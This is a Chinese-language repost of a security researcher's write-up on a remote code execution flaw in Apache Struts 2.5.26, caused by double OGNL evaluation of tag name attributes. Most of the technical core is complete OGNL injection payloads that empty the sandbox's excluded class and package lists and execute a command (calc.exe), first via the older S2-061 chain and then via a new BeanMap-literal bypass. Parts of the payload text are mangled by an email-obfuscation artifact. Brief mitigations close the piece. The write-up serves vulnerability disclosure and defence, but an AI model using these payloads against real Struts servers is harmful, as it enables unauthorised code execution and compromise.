在 2.5.26 上利用 Struts RCE

admin 2022年4月23日11:47:42安全文章评论22 views6758字阅读22分31秒阅读模式

抽象的


    去年年底,2020 年(毕竟这文章是2021年的),针对 Alvaro Munoz 和 Masato Anzai 发现的远程代码执行 (RCE) 漏洞的修复程序由 Apache Struts 发布,该漏洞通过 S2-061 或 CVE-2020-17530 进行评估,评估时为“强制 OGNL 评估”在标签属性中的原始用户输入上,可能导致远程代码执行 - 类似于 S2-059  或 CVE-2019-0230。虽然对两者的修复有助于限制易受攻击的场景,同时使用 Struts2 库并加强其沙箱,远程代码在最新版本的 Struts 2.5.26 中仍然可以执行。 


    虽然下面写的沙盒逃逸是新的并且适用于 Struts 2.5.26 ,但 我刚刚提到过这个 OGNL 评估最初是由 Man Yue Mo 和 Alvaro Munoz 报告的。请在此处查看他们的出色工作:

https: //securitylab.github.com/research/apache-struts-double-evaluation/ 
https://securitylab.github.com/advisories/GHSL-2020-205-double -eval-dynattrs-struts2/


第二个报告的 OGNL 评估问题和最后提到的 XSS 我相信是新的,但很快就会提供详细信息。 


漏洞分析


核心概念

Struts2 对 .jsp 元素的各种属性执行 OGNL 评估。与 S2-059 的示例非常相似,开发人员使用语法“%{}”定义属性的值,以使该页面动态并引入 url 参数。例如,如果您想将 url 参数“skillName”传递给页面,您可以执行以下操作:


https://<domain>/?skillName=abctest
<s:url action="list" namespace="/employee" var="url"><s:a href="%{url}" id="%{skillName}">List available Employees</s:a></s:url>

后端的代码执行单个 OGNL 评估,以检索 GET 参数传入的输入。或者至少它应该是这样工作的。当该用户定义的值最终执行两次 OGNL 评估时,就会存在漏洞。 


S2-061


在 S2-061 问题中,如果您使用在 jsp 中定义的类似于下面的锚标记并传入值 idVal=%{3*3} 输入将执行双重 OGNL 评估,导致 id="9" 

//example<s:a id="%{idVal}"/>//result<s:a id="9"/>


对此的修复是:

https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e 


修复的核心以 UIBean 类为中心。 


在 2.5.26 上利用 Struts RCE


两个 OGNL 评估之一发生在 setId 函数期间,当它调用 findString(id) 并添加递归检查以不进行 OGNL 评估时,名称参数包含 "%{" or "}".    


新RCE


基本在对这个问题进行分类时,这个递归检查引起了我的注意。它在局部变量“name”上调用 completeExpressionIfAltSyntax 并将其分配给 expr,但随后在最终 OGNL 评估局部变量“expr”之前对局部变量“name”进行了递归检查。 


在 2.5.26 上利用 Struts RCE


这很好,但如果不对局部变量“name”进行第二次 OGNL 评估,name 将不会包含用户提供的来自 URL 参数的数据。然而,事实证明,在  第 664 行 之前,在evaluateParams函数中执行了另一个 OGNL 评估。

在 2.5.26 上利用 Struts RCE

这意味着对于某些 UIBean 标记,名称属性很容易受到双重 OGNL 评估,如果它们不包含值参数, 这可能会导致远程代码执行。 


基本易受攻击元素的概念证明 POC:


<s:textfield label="test1" name="%{skillName}"/><!-- or --><s:label id="test2" name="%{skillName}" />

https://<domain>/?skillName=3*3 将计算 3*3 = 9。 


有趣的是,对于某些元素,名称值会被评估但不会在结果中返回。所以对于 <s:label...> 它不会返回 OGNL 评估的名称值。这并不意味着未评估该值。 

在 2.5.26 上利用 Struts RCE

并不意味着它没有评估后端的表达式。

在 2.5.26 上利用 Struts RCE


在调用 expr 之前 findValue

在 2.5.26 上利用 Struts RCE


在调用 expr 后 findValue



先进的


这一切都很好,但我们还没有突破 Struts 的 OGNL 沙箱。Struts2 在 struts-default.xml 文件中定义其排除的类和包。这些是在 2.5.26 中添加到阻止列表中的附加包。

在 2.5.26 上利用 Struts RCE


除了所有这些类/包限制之外,OGNL 沙盒规则还包括:


不能调用静态方法

不能使用反射 

无法创建新对象 

在 2.5.26 上利用 Struts RCE


    即使你逃离了黑名单,你也不能直接调用 Runtime。这使得事情变得非常具有挑战性,因为这个沙箱在每次迭代中都变得更加安全,并减少了可能的 RCE 漏洞利用的大规模景观。但仍有一些未开发的可能性。如果您查找 S2-061 的 POC,您可能会想到以下内容:


%{(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) + (#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) + (#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) + (#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) + (#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))}


这有效地评估为:

//Place valuestack in a beanmap mapapplication.map = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');application.map.setBean(#request.get('struts.valueStack'));
//grab the context variable from valuestack and place in beanmap map2application.map2 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');application.map2.setBean(#application.get('map').get('context'));
//grab the memberaccess variable from context variable and place in beanmap map3application.map3 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');application.map3.setBean(#application.get('map2').get('memberAccess'));
//clear block lists found in memberaccess, by creating empty lists in their place. application.get('map3').put(excludedPackageNames', new HashSet());application.get('map3').put(excludedClasses', new HashSet());
//break out of sandbox restrictions and now execute calc.exeapplication.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}));

在 Struts2 中评估 OGNL 时,它在其上下文映射中具有一些映射到对象的预定义值。例如,其中一些包括“#application”、“#request”、“#attr”。因此,当您调用 %{#application.toString()} 时,您正在调用该对象及其 toString 函数。有一些非常有才华的研究人员发现,您可以使用以下方法绕过 OGNL/Struts 沙箱限制 


#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')


创建一个 BeanMap 并使用它的setBean和put函数来清除excludedPackageNames 和excludedClasses 从而取消沙箱限制。 


很好,但是新的沙盒限制阻止了 org.apache.tomcat.* 的使用

在 2.5.26 上利用 Struts RCE


绕过 S2-061 沙盒限制


在使用诸如 software-forensic-kit、调试器和逐行阅读代码之类的调用图工具寻找数周后,我开始认为这不再可能了。我已经找到了许多方法来通过漏洞收集有趣的信息,或者在返回函数上导致奇怪的 ui 行为,但还没有突破沙箱。


我研究过的一种可能的沙箱绕过方法我认为可能有效,但我认为我的语法可能不正确。所以我请了一天假然后回来开始复习OGNL 语法 。当我注意到“地图”部分时,这让我的眼睛转向了一个完全不同的方向。 

在 2.5.26 上利用 Struts RCE


我意识到您可以创建自己的类的地图。 


所以 

https://<domain>/?skillName=#@[email protected]{"foo":"value"}


将创建一个 LinkedHashMap 对象并用 "foo":"value" 填充它。 


或者您可以创建一个 BeanMap 对象。所以之前获取 BeanMap 的方法是:


#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')

现在可以通过简单地使用来完成: 

#@org.apache.commons.collections.BeanMap@{}


使用 org.apache.commons.collections.BeanMap 没有任何沙箱限制,因此通过使用特殊的 OGNL 语法直接创建它,您可以绕过所有以前的沙箱限制。 


应用该概念并将“%{”“}”删除到以前的 POC,执行 calc.exe 的新的完整 RCE 变为以下内容:

(#request.map=#@org.apache.commons.collections.[email protected]{}).toString().substring(0,0) +(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +(#request.map2=#@org.apache.commons.collections.[email protected]{}).toString().substring(0,0) +(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +(#request.map3=#@org.apache.commons.collections.[email protected]{}).toString().substring(0,0) +(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.[email protected]{}.keySet()) == true).toString().substring(0,0) +(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.[email protected]{}.keySet()) == true).toString().substring(0,0) +(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))


这是 POC 的实际应用:

在 2.5.26 上利用 Struts RCE


缓解措施


这些 UIBean 元素最终对 name 属性执行第二次 OGNL 评估,因为“value”属性不存在并且它试图填充该属性。


因此,通过给所有属性一个空白值 =“”,这将有助于缓解这个问题。


(例如:

<s:label name="%{skillName}" value="" />

将 org.apache.commons.collection.BeanMap 添加到 Struts2 沙箱的 excludeClasses 列表将排除直接使用它。


原文地址:

https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html


推上的一张成品图


在 2.5.26 上利用 Struts RCE




在 2.5.26 上利用 Struts RCE
在 2.5.26 上利用 Struts RCE

扫描二维码获取

更多精彩

在 2.5.26 上利用 Struts RCE

洛米唯熊

原文始发于微信公众号(洛米唯熊):在 2.5.26 上利用 Struts RCE

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月23日11:47:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  在 2.5.26 上利用 Struts RCE http://cn-sec.com/archives/912587.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: